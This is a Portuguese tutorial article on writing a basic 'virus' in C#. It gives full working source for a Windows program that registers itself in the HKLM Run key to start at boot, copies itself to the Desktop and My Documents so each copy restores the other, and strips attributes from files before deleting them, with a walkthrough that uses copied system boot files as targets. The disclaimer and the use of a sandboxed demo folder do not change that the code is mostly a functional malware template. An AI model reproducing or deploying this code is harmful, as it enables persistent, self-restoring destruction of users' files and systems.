INTRODUÇÃO

O objetivo deste artigo é apenas mostrar de forma didática como criar um vírus em C#, em nenhum momento prejudicar ou danificar o funcionamento de um S.O, muito menos influenciar a criação de programas maliciosos. Aconselho que utilizem uma máquina virtual para executar o programa ou algum programa que retorne o S.O ao estado anterior, como o Deep Freeze e Norton Goback. Caso queira utilizar em seu próprio S.O, uso o programa apenas para deletar arquivos sem importância.

CRIANDO O VIRUS

Bom, primeiramente o objetivo desse programa é deletar arquivos temporários do Windows como cokies e arquivos recentes, mas que também pode ser utilizado como um vírus.

Vamos começar, no Windows vá em c:\ e clique na guia ferramentas, opções de pasta, depois em modo de exibição, desmarque “Ocultar arquivos protegidos do sistema operacional”, ”Ocultar as extensões dos tipos de arquivos conhecidos” e “Mostrar pastas e arquivos ocultos”.

Imagem 1

Agora copie os arquivos NEDECT.COM e ntldr, apenas copie, não recorte, estes arquivos são necessários para a inicialização do Windows, estou utilizando os dois apenas como exemplo, poderia ser qualquer outro arquivo do sistema.

Imagem 2

Agora crie uma pasta chamada “para_deletar” no Desktop, entre nela e cole os arquivos NEDECT.COM e ntldr, depois crie ou copie e cole mais arquivos sem importância dentro desta pasta.

Imagem 3

Imagem 4

Inicie um projeto novo no C# do tipo Windows Application.

Crie um Form com 2 botões, no meu caso coloquei o nome de “Método 1” e “Método 2“

Imagem 5

No código do botão método 1 coloque, o código abaixo antes do private void button1_Click(object sender, EventArgs e):

 
private void Reg_ini_win(string Exe_nome, bool habilitar, string caminho)
        {
            string chave = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
 
            Microsoft.Win32.RegistryKey chave_ini = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(chave);
 
            if (habilitar) //se habilitar for igual a 'True' então:
            {
                if (chave_ini.GetValue(Exe_nome) == null) // verifica se o registro de seu executável não xiste
                {                  
                    chave_ini.Close();
                    chave_ini = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(chave, true);
                    // Adiciona chave de inicialização, (faz com que seu executável inicie junto com
                    // o windows)                    
                    chave_ini.SetValue(Exe_nome, caminho);                   
                    chave_ini.Close();                   
                }
            }
            else // se hbilitar for igual a 'False'
            {
                // Remove chave de inicialização
                chave_ini = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(chave, true);
                chave_ini.DeleteValue(Exe_nome, false);
                chave_ini.Close();
            }
        } 


Agora dentro do
private void button1_Click(object sender, EventArgs e), coloque o seguinte código:

 
Reg_ini_win("Gs_Virus", true, Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + @"\DEL_TUDO_ARTIGO.exe");
            Reg_ini_win("Gs_Virus_Copia", true,Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\DEL_TUDO_ARTIGO_COPY.exe");
            // Reg_ini_win é uma rotina que cria uma chave de registro para que o executavel inicie junto com o windows
            // Os parâmetros são: o nome de seu executavel, true para adicionar ou false para remover o registro, o caminho onde ele se encontra
            // o executável, neste caso ustilizei o Environment.GetFolderPath(Environment.SpecialFolder.Desktop) uma função que será utilizada
            // novamente no decorrer so artigo e que serve para pegarmos pastas padrões do Windows, também adicionei o + @"\DEL_TUDO_ARTIGO.exe"
            // para especificar o nome de meu executável, criei dois registros porque quero gerar uma cópia de meu excutável para que os dois
            // iniciem junto com o Windows
 
            string[] arq;
            //a variavel arq é um vetor de 'n' posições
               
                //arq = System.IO.Directory.GetFiles(@"C:\Documents and Settings\para_deletar", "*"); // Entre parênteses posso colocar qualquer caminho 
existente no S.O, "*" significa tudo que está na pasta

                arq = System.IO.Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + @"\para_deletar", "*"); // "*" significa 
tudo que está na pasta
                // cada posição do vetor arq irá receber o nome de um arquivo dentro da pasta para_deletar, que se encontra no Desktop 
               
                for (int i = 0; i < arq.Length; i++)
                {
                    // o loop começa em 0 e vai até arq.lentgh, neste caso
                    // length refere-se ao numero de posições que meu
                    // vetor possui, arq é uma variável do tipo string
                    // então por isso utilizei o length
 
                    System.IO.FileInfo file = new System.IO.FileInfo(arq[i]);
                    // file é uma variavel do tipo FileInfo, que recebe informações
                    // de cada arquivo de arq[i], por exemplo, se o arquivo é do
                    // tipo leitura, oculto, sistema.
                    file.Attributes = System.IO.FileAttributes.Normal;
                    // agora todos os atributos de cada arquivo de arq[i]
                    // são trocados para "normal", porque existem
                    // arquivos do sistema que podem ser deletados quando
                    // seus atributos são removidos
                    System.IO.File.Delete(arq[i]);
                    // por fim esse comando deleta o arquivo de arq[i]
                }
               
                string cp_exe;
                string cp_exe2;
              
                cp_exe = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + @"\DEL_TUDO_ARTIGO.exe";              
                cp_exe2 = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)+ @"\DEL_TUDO_ARTIGO_COPY.exe";
              
                // Esta rotina faz o executavel se auto copiar, se ele não existir
                // no caminho que você escolheu.
                // Nesse casso ele fará uma copia para o "Desktop" e outra para o "Meus Documentos"
 
                 if (!System.IO.File.Exists(cp_exe2)) // pergunta se ele não existe em "Meus Documentos"
                {
                    System.IO.File.Copy(Application.ExecutablePath, cp_exe2, true);
                    // Esse comando pega o caminho de meu executavel, e faz uma copia
                    // dele para a pasta "Meus Documentos".
                    // Caminho do executavel (Application.ExecutablePath)
                    // Para onde será copiado, com nome já renomeado (cp_exe2)
                    // true, para sobrescrever arquivo já existente
                }
 
                // As rotinas de copia são para o caso de um dos executáveis serem
                // excluídos. Quando o programa for executado irá verificar se a cópia
                // existe, caso não, então faz uma. O executável com o nome _COPY,
                // faz o mesmo, se o original não existe, cria uma cópia 
                if (!System.IO.File.Exists(cp_exe)) // pergunta se ele não existe no "Desktop"
                {                   
                    System.IO.File.Copy(Application.ExecutablePath , cp_exe, true); // esse é o unico q funciona no windows, os outros funcionam só no c#
                    // Esse comando de copia é parecido com o anterior, mas nesse caso
                    // a cópia verifica se o executavel original não existe no desktop,
                    // se não existir ele é copiado dos "Meus Documentos" para o "Desktop"
                } 


Dica caso não queira ficar esxrevendo System.IO, ou outros namespaces basta acrescentar o nome do namespace no início do programa na frente do using,como mostra a figura abaixo:

Imagem 6

O próximo passo é colocarmos o código do botão “Método 2”, então dentro de private void button2_Click(object sender, EventArgs e), coloque o código abaixo:

string[] arq;
            // Novamente utilizei o vetor arq para pegar todos os arquivos da pasta "para_deletar" no Desktop
            // o outro parâmetro "*" seleciona todos os arquivos
            // o parâmetro SearchOption.AllDirectories, pega todas as pasta dentro da pasta "para_deletar"
           
            arq = System.IO.Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + @"\para_deletar\", "*", 
SearchOption.AllDirectories);
           
                foreach(string arquivos in arq)
                {
                    // Mesma lógica do metodo 1, nesse caso
                    // se existirem outras pastas dentro da
                    // pasta "para_deletar", os arquivos que
                    // estiverem dentro serão deletados
                    // restando apenas as pastas vazias
                    // por isso o parâmetro
                    // SearchOption.AllDirectories
 
                    FileInfo file = new FileInfo(arquivos);
                    file.Attributes = FileAttributes.Normal;                   
                    System.IO.File.Delete(arquivos);
                }
        } 


Veja o que ocorre dentro da vetor arq:


Imagem 7

CONCLUSÃO

Neste artigo aprendemos a fazer um vírus básico, porém eficiente. O modo como utilizamos nossos conhecimentos em programação varia de pessoa para pessoa, neste caso, o artigo proporciona um ponto de vista didática, prejudicar o funcionamento correto do S.O de outras pessoas intencionalmente é lastimável.